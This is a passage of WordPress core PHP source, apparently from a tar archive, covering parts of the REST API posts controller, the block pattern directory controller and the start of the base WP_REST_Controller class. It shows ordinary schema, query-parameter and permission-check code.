			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( array_key_exists( $base, $schema['properties'] ) ) {
				$taxonomy_field_name_with_conflict = ! empty( $taxonomy->rest_base ) ? 'rest_base' : 'name';
				_doing_it_wrong(
					'register_taxonomy',
					sprintf(
						/* translators: 1: The taxonomy name, 2: The property name, either 'rest_base' or 'name', 3: The conflicting value. */
						__( 'The "%1$s" taxonomy "%2$s" property (%3$s) conflicts with an existing property on the REST API Posts Controller. Specify a custom "rest_base" when registering the taxonomy to avoid this error.' ),
						$taxonomy->name,
						$taxonomy_field_name_with_conflict,
						$base
					),
					'5.4.0'
				);
			}

			$schema['properties'][ $base ] = array(
				/* translators: %s: Taxonomy name. */
				'description' => sprintf( __( 'The terms assigned to the post in the %s taxonomy.' ), $taxonomy->name ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema_links = $this->get_schema_links();

		if ( $schema_links ) {
			$schema['links'] = $schema_links;
		}

		// Take a snapshot of which fields are in the schema pre-filtering.
		$schema_fields = array_keys( $schema['properties'] );

		/**
		 * Filters the post's schema.
		 *
		 * The dynamic portion of the filter, `$this->post_type`, refers to the
		 * post type slug for the controller.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_item_schema`
		 *  - `rest_page_item_schema`
		 *  - `rest_attachment_item_schema`
		 *
		 * @since 5.4.0
		 *
		 * @param array $schema Item schema data.
		 */
		$schema = apply_filters( "rest_{$this->post_type}_item_schema", $schema );

		// Emit a _doing_it_wrong warning if user tries to add new properties using this filter.
		$new_fields = array_diff( array_keys( $schema['properties'] ), $schema_fields );
		if ( count( $new_fields ) > 0 ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: register_rest_field */
					__( 'Please use %s to add new schema properties.' ),
					'register_rest_field'
				),
				'5.4.0'
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves Link Description Objects that should be added to the Schema for the posts collection.
	 *
	 * @since 4.9.8
	 *
	 * @return array
	 */
	protected function get_schema_links() {

		$href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );

		$links = array();

		if ( 'attachment' !== $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-publish',
				'title'        => __( 'The current user can publish this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'status' => array(
							'type' => 'string',
							'enum' => array( 'publish', 'future' ),
						),
					),
				),
			);
		}

		$links[] = array(
			'rel'          => 'https://api.w.org/action-unfiltered-html',
			'title'        => __( 'The current user can post unfiltered HTML markup and JavaScript.' ),
			'href'         => $href,
			'targetSchema' => array(
				'type'       => 'object',
				'properties' => array(
					'content' => array(
						'raw' => array(
							'type' => 'string',
						),
					),
				),
			),
		);

		if ( 'post' === $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-sticky',
				'title'        => __( 'The current user can sticky this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'sticky' => array(
							'type' => 'boolean',
						),
					),
				),
			);
		}

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-author',
				'title'        => __( 'The current user can change the author on this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'author' => array(
							'type' => 'integer',
						),
					),
				),
			);
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;

			/* translators: %s: Taxonomy name. */
			$assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name );
			/* translators: %s: Taxonomy name. */
			$create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name );

			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-' . $tax_base,
				'title'        => $assign_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);

			$links[] = array(
				'rel'          => 'https://api.w.org/action-create-' . $tax_base,
				'title'        => $create_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);
		}

		return $links;
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 4.7.0
	 * @since 5.4.0 The `tax_relation` query parameter was added.
	 * @since 5.7.0 The `modified_after` and `modified_before` query parameters were added.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description' => __( 'Limit response to posts published after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['modified_after'] = array(
			'description' => __( 'Limit response to posts modified after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$query_params['author']         = array(
				'description' => __( 'Limit result set to posts assigned to specific authors.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
			$query_params['author_exclude'] = array(
				'description' => __( 'Ensure result set excludes posts assigned to specific authors.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
		}

		$query_params['before'] = array(
			'description' => __( 'Limit response to posts published before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['modified_before'] = array(
			'description' => __( 'Limit response to posts modified before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['menu_order'] = array(
				'description' => __( 'Limit result set to posts with a specific menu_order value.' ),
				'type'        => 'integer',
			);
		}

		$query_params['search_semantics'] = array(
			'description' => __( 'How to interpret the search input.' ),
			'type'        => 'string',
			'enum'        => array( 'exact' ),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by post attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['orderby']['enum'][] = 'menu_order';
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post_type->hierarchical || 'attachment' === $this->post_type ) {
			$query_params['parent']         = array(
				'description' => __( 'Limit result set to items with particular parent IDs.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
			$query_params['parent_exclude'] = array(
				'description' => __( 'Limit result set to all items except those of a particular parent ID.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
		}

		$query_params['search_columns'] = array(
			'default'     => array(),
			'description' => __( 'Array of column names to be searched.' ),
			'type'        => 'array',
			'items'       => array(
				'enum' => array( 'post_title', 'post_content', 'post_excerpt' ),
				'type' => 'string',
			),
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to posts with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['status'] = array(
			'default'           => 'publish',
			'description'       => __( 'Limit result set to posts assigned one or more statuses.' ),
			'type'              => 'array',
			'items'             => array(
				'enum' => array_merge( array_keys( get_post_stati() ), array( 'any' ) ),
				'type' => 'string',
			),
			'sanitize_callback' => array( $this, 'sanitize_post_statuses' ),
		);

		$query_params = $this->prepare_taxonomy_limit_schema( $query_params );

		if ( 'post' === $this->post_type ) {
			$query_params['sticky'] = array(
				'description' => __( 'Limit result set to items that are sticky.' ),
				'type'        => 'boolean',
			);

			$query_params['ignore_sticky'] = array(
				'description' => __( 'Whether to ignore sticky posts or not.' ),
				'type'        => 'boolean',
				'default'     => true,
			);
		}

		if ( post_type_supports( $this->post_type, 'post-formats' ) ) {
			$query_params['format'] = array(
				'description' => __( 'Limit result set to items assigned one or more given formats.' ),
				'type'        => 'array',
				'uniqueItems' => true,
				'items'       => array(
					'enum' => array_values( get_post_format_slugs() ),
					'type' => 'string',
				),
			);
		}

		/**
		 * Filters collection parameters for the posts controller.
		 *
		 * The dynamic part of the filter `$this->post_type` refers to the post
		 * type slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Query parameter. Use the
		 * `rest_{$this->post_type}_query` filter to set WP_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array        $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Post_Type $post_type    Post type object.
		 */
		return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type );
	}

	/**
	 * Sanitizes and validates the list of post statuses, including whether the
	 * user can query private statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param string|array    $statuses  One or more post statuses.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Additional parameter to pass to validation.
	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
	 */
	public function sanitize_post_statuses( $statuses, $request, $parameter ) {
		$statuses = wp_parse_slug_list( $statuses );

		// The default status is different in WP_REST_Attachments_Controller.
		$attributes     = $request->get_attributes();
		$default_status = $attributes['args']['status']['default'];

		foreach ( $statuses as $status ) {
			if ( $status === $default_status ) {
				continue;
			}

			$post_type_obj = get_post_type_object( $this->post_type );

			if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) {
				$result = rest_validate_request_arg( $status, $request, $parameter );
				if ( is_wp_error( $result ) ) {
					return $result;
				}
			} else {
				return new WP_Error(
					'rest_forbidden_status',
					__( 'Status is forbidden.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return $statuses;
	}

	/**
	 * Prepares the 'tax_query' for a collection of posts.
	 *
	 * @since 5.7.0
	 *
	 * @param array           $args    WP_Query arguments.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array Updated query arguments.
	 */
	private function prepare_tax_query( array $args, WP_REST_Request $request ) {
		$relation = $request['tax_relation'];

		if ( $relation ) {
			$args['tax_query'] = array( 'relation' => $relation );
		}

		$taxonomies = wp_list_filter(
			get_object_taxonomies( $this->post_type, 'objects' ),
			array( 'show_in_rest' => true )
		);

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			$tax_include = $request[ $base ];
			$tax_exclude = $request[ $base . '_exclude' ];

			if ( $tax_include ) {
				$terms            = array();
				$include_children = false;
				$operator         = 'IN';

				if ( rest_is_array( $tax_include ) ) {
					$terms = $tax_include;
				} elseif ( rest_is_object( $tax_include ) ) {
					$terms            = empty( $tax_include['terms'] ) ? array() : $tax_include['terms'];
					$include_children = ! empty( $tax_include['include_children'] );

					if ( isset( $tax_include['operator'] ) && 'AND' === $tax_include['operator'] ) {
						$operator = 'AND';
					}
				}

				if ( $terms ) {
					$args['tax_query'][] = array(
						'taxonomy'         => $taxonomy->name,
						'field'            => 'term_id',
						'terms'            => $terms,
						'include_children' => $include_children,
						'operator'         => $operator,
					);
				}
			}

			if ( $tax_exclude ) {
				$terms            = array();
				$include_children = false;

				if ( rest_is_array( $tax_exclude ) ) {
					$terms = $tax_exclude;
				} elseif ( rest_is_object( $tax_exclude ) ) {
					$terms            = empty( $tax_exclude['terms'] ) ? array() : $tax_exclude['terms'];
					$include_children = ! empty( $tax_exclude['include_children'] );
				}

				if ( $terms ) {
					$args['tax_query'][] = array(
						'taxonomy'         => $taxonomy->name,
						'field'            => 'term_id',
						'terms'            => $terms,
						'include_children' => $include_children,
						'operator'         => 'NOT IN',
					);
				}
			}
		}

		return $args;
	}

	/**
	 * Prepares the collection schema for including and excluding items by terms.
	 *
	 * @since 5.7.0
	 *
	 * @param array $query_params Collection schema.
	 * @return array Updated schema.
	 */
	private function prepare_taxonomy_limit_schema( array $query_params ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		if ( ! $taxonomies ) {
			return $query_params;
		}

		$query_params['tax_relation'] = array(
			'description' => __( 'Limit result set based on relationship between multiple taxonomies.' ),
			'type'        => 'string',
			'enum'        => array( 'AND', 'OR' ),
		);

		$limit_schema = array(
			'type'  => array( 'object', 'array' ),
			'oneOf' => array(
				array(
					'title'       => __( 'Term ID List' ),
					'description' => __( 'Match terms with the listed IDs.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'integer',
					),
				),
				array(
					'title'                => __( 'Term ID Taxonomy Query' ),
					'description'          => __( 'Perform an advanced term query.' ),
					'type'                 => 'object',
					'properties'           => array(
						'terms'            => array(
							'description' => __( 'Term IDs.' ),
							'type'        => 'array',
							'items'       => array(
								'type' => 'integer',
							),
							'default'     => array(),
						),
						'include_children' => array(
							'description' => __( 'Whether to include child terms in the terms limiting the result set.' ),
							'type'        => 'boolean',
							'default'     => false,
						),
					),
					'additionalProperties' => false,
				),
			),
		);

		$include_schema = array_merge(
			array(
				/* translators: %s: Taxonomy name. */
				'description' => __( 'Limit result set to items with specific terms assigned in the %s taxonomy.' ),
			),
			$limit_schema
		);
		// 'operator' is supported only for 'include' queries.
		$include_schema['oneOf'][1]['properties']['operator'] = array(
			'description' => __( 'Whether items must be assigned all or any of the specified terms.' ),
			'type'        => 'string',
			'enum'        => array( 'AND', 'OR' ),
			'default'     => 'OR',
		);

		$exclude_schema = array_merge(
			array(
				/* translators: %s: Taxonomy name. */
				'description' => __( 'Limit result set to items except those with specific terms assigned in the %s taxonomy.' ),
			),
			$limit_schema
		);

		foreach ( $taxonomies as $taxonomy ) {
			$base         = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$base_exclude = $base . '_exclude';

			$query_params[ $base ]                = $include_schema;
			$query_params[ $base ]['description'] = sprintf( $query_params[ $base ]['description'], $base );

			$query_params[ $base_exclude ]                = $exclude_schema;
			$query_params[ $base_exclude ]['description'] = sprintf( $query_params[ $base_exclude ]['description'], $base );

			if ( ! $taxonomy->hierarchical ) {
				unset( $query_params[ $base ]['oneOf'][1]['properties']['include_children'] );
				unset( $query_params[ $base_exclude ]['oneOf'][1]['properties']['include_children'] );
			}
		}

		return $query_params;
	}
}
endpoints/class-wp-rest-pattern-directory-controller.php000064400000031215151724720270017633 0ustar00<?php
/**
 * Block Pattern Directory REST API: WP_REST_Pattern_Directory_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Controller which provides REST endpoint for block patterns.
 *
 * This simply proxies the endpoint at http://api.wordpress.org/patterns/1.0/. That isn't necessary for
 * functionality, but is desired for privacy. It prevents api.wordpress.org from knowing the user's IP address.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Pattern_Directory_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'pattern-directory';
	}

	/**
	 * Registers the necessary REST API routes.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/patterns',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to view the local block pattern directory.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has permission, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_pattern_directory_cannot_view',
			__( 'Sorry, you are not allowed to browse the local block pattern directory.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Search and retrieve block patterns metadata
	 *
	 * @since 5.8.0
	 * @since 6.0.0 Added 'slug' to request.
	 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$valid_query_args = array(
			'offset'   => true,
			'order'    => true,
			'orderby'  => true,
			'page'     => true,
			'per_page' => true,
			'search'   => true,
			'slug'     => true,
		);
		$query_args       = array_intersect_key( $request->get_params(), $valid_query_args );

		$query_args['locale']             = get_user_locale();
		$query_args['wp-version']         = wp_get_wp_version();
		$query_args['pattern-categories'] = isset( $request['category'] ) ? $request['category'] : false;
		$query_args['pattern-keywords']   = isset( $request['keyword'] ) ? $request['keyword'] : false;

		$query_args = array_filter( $query_args );

		$transient_key = $this->get_transient_key( $query_args );

		/*
		 * Use network-wide transient to improve performance. The locale is the only site
		 * configuration that affects the response, and it's included in the transient key.
		 */
		$raw_patterns = get_site_transient( $transient_key );

		if ( ! $raw_patterns ) {
			$api_url = 'http://api.wordpress.org/patterns/1.0/?' . build_query( $query_args );
			if ( wp_http_supports( array( 'ssl' ) ) ) {
				$api_url = set_url_scheme( $api_url, 'https' );
			}

			/*
			 * Default to a short TTL, to mitigate cache stampedes on high-traffic sites.
			 * This assumes that most errors will be short-lived, e.g., packet loss that causes the
			 * first request to fail, but a follow-up one will succeed. The value should be high
			 * enough to avoid stampedes, but low enough to not interfere with users manually
			 * re-trying a failed request.
			 */
			$cache_ttl      = 5;
			$wporg_response = wp_remote_get( $api_url );
			$raw_patterns   = json_decode( wp_remote_retrieve_body( $wporg_response ) );

			if ( is_wp_error( $wporg_response ) ) {
				$raw_patterns = $wporg_response;

			} elseif ( ! is_array( $raw_patterns ) ) {
				// HTTP request succeeded, but response data is invalid.
				$raw_patterns = new WP_Error(
					'pattern_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					array(
						'response' => wp_remote_retrieve_body( $wporg_response ),
					)
				);

			} else {
				// Response has valid data.
				$cache_ttl = HOUR_IN_SECONDS;
			}

			set_site_transient( $transient_key, $raw_patterns, $cache_ttl );
		}

		if ( is_wp_error( $raw_patterns ) ) {
			$raw_patterns->add_data( array( 'status' => 500 ) );

			return $raw_patterns;
		}

		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$response = array();

		if ( $raw_patterns ) {
			foreach ( $raw_patterns as $pattern ) {
				$response[] = $this->prepare_response_for_collection(
					$this->prepare_item_for_response( $pattern, $request )
				);
			}
		}

		return new WP_REST_Response( $response );
	}

	/**
	 * Prepare a raw block pattern before it gets output in a REST API response.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$raw_pattern` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object          $item    Raw pattern from api.wordpress.org, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$raw_pattern = $item;

		$prepared_pattern = array(
			'id'             => absint( $raw_pattern->id ),
			'title'          => sanitize_text_field( $raw_pattern->title->rendered ),
			'content'        => wp_kses_post( $raw_pattern->pattern_content ),
			'categories'     => array_map( 'sanitize_title', $raw_pattern->category_slugs ),
			'keywords'       => array_map( 'sanitize_text_field', explode( ',', $raw_pattern->meta->wpop_keywords ) ),
			'description'    => sanitize_text_field( $raw_pattern->meta->wpop_description ),
			'viewport_width' => absint( $raw_pattern->meta->wpop_viewport_width ),
			'block_types'    => array_map( 'sanitize_text_field', $raw_pattern->meta->wpop_block_types ),
		);

		$prepared_pattern = $this->add_additional_fields_to_object( $prepared_pattern, $request );

		$response = new WP_REST_Response( $prepared_pattern );

		/**
		 * Filters the REST API response for a block pattern.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param object           $raw_pattern The unprepared block pattern.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_block_pattern', $response, $raw_pattern, $request );
	}

	/**
	 * Retrieves the block pattern's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 * @since 6.2.0 Added `'block_types'` to schema.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'pattern-directory-item',
			'type'       => 'object',
			'properties' => array(
				'id'             => array(
					'description' => __( 'The pattern ID.' ),
					'type'        => 'integer',
					'minimum'     => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'title'          => array(
					'description' => __( 'The pattern title, in human readable format.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'content'        => array(
					'description' => __( 'The pattern content.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'categories'     => array(
					'description' => __( "The pattern's category slugs." ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'keywords'       => array(
					'description' => __( "The pattern's keywords." ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'description'    => array(
					'description' => __( 'A description of the pattern.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'viewport_width' => array(
					'description' => __( 'The preferred width of the viewport when previewing a pattern, in pixels.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'block_types'    => array(
					'description' => __( 'The block types which can use this pattern.' ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'embed' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search parameters for the block pattern's collection.
	 *
	 * @since 5.8.0
	 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['per_page']['default'] = 100;
		$query_params['search']['minLength'] = 1;
		$query_params['context']['default']  = 'view';

		$query_params['category'] = array(
			'description' => __( 'Limit results to those matching a category ID.' ),
			'type'        => 'integer',
			'minimum'     => 1,
		);

		$query_params['keyword'] = array(
			'description' => __( 'Limit results to those matching a keyword ID.' ),
			'type'        => 'integer',
			'minimum'     => 1,
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit results to those matching a pattern (slug).' ),
			'type'        => 'array',
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by post attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
				'favorite_count',
			),
		);

		/**
		 * Filter collection parameters for the block pattern directory controller.
		 *
		 * @since 5.8.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_pattern_directory_collection_params', $query_params );
	}

	/**
	 * Include a hash of the query args, so that different requests are stored in
	 * separate caches.
	 *
	 * MD5 is chosen for its speed, low-collision rate, universal availability, and to stay
	 * under the character limit for `_site_transient_timeout_{...}` keys.
	 *
	 * @link https://stackoverflow.com/questions/3665247/fastest-hash-for-non-cryptographic-uses
	 *
	 * @since 6.0.0
	 *
	 * @param array $query_args Query arguments to generate a transient key from.
	 * @return string Transient key.
	 */
	protected function get_transient_key( $query_args ) {

		if ( isset( $query_args['slug'] ) ) {
			// This is an additional precaution because the "sort" function expects an array.
			$query_args['slug'] = wp_parse_list( $query_args['slug'] );

			// Empty arrays should not affect the transient key.
			if ( empty( $query_args['slug'] ) ) {
				unset( $query_args['slug'] );
			} else {
				// Sort the array so that the transient key doesn't depend on the order of slugs.
				sort( $query_args['slug'] );
			}
		}

		return 'wp_remote_block_patterns_' . md5( serialize( $query_args ) );
	}
}
endpoints/class-wp-rest-controller.php000060400000045174151724720270014163 0ustar00<?php
/**
 * REST API: WP_REST_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core base controller for managing and interacting with REST API items.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Controller {

	/**
	 * The namespace of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $namespace;

	/**
	 * The base of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $rest_base;

	/**
	 * Cached results of get_item_schema.
	 *
	 * @since 5.3.0
	 * @var array
	 */
	protected $schema;

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		_doing_it_wrong(
			'WP_REST_Controller::register_routes',
			/* translators: %s: register_routes() */
			sprintf( __( "Method '%s' must be overridden." ), __METHOD__ ),
			'4.7.0'
		);
	}

	/**
	 * Checks if a given request has access to get items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Retrieves a collection of items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to get a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Retrieves one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to create items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Creates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( "Method '%s' not implemented. Must be overridden in subclass." ), __METHOD__ ),
			array( 'status' => 405 )
		);
	}

	/**
	 * Checks if a given request has access to update a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
